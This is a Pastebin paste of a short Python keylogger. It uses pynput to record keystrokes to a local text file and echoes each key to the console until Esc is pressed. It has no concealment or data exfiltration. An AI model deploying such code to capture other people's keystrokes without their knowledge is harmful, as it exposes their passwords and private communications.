Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- from pynput import keyboard
- def on_press(key):
- try:
- script_dir = os.path.dirname(os.path.abspath(__file__))
- file_path = os.path.join(script_dir, "texto.txt")
- with open(file_path, "a") as arquivo:
- if key == keyboard.Key.space:
- arquivo.write(" ") # Espaço em branco
- else:
- arquivo.write(key.char)
- print('Tecla pressionada: {0}'.format(key.char))
- except AttributeError:
- print('Tecla especial pressionada: {0}'.format(key))
- def on_release(key):
- if key == keyboard.Key.esc:
- return False
- with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
- listener.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement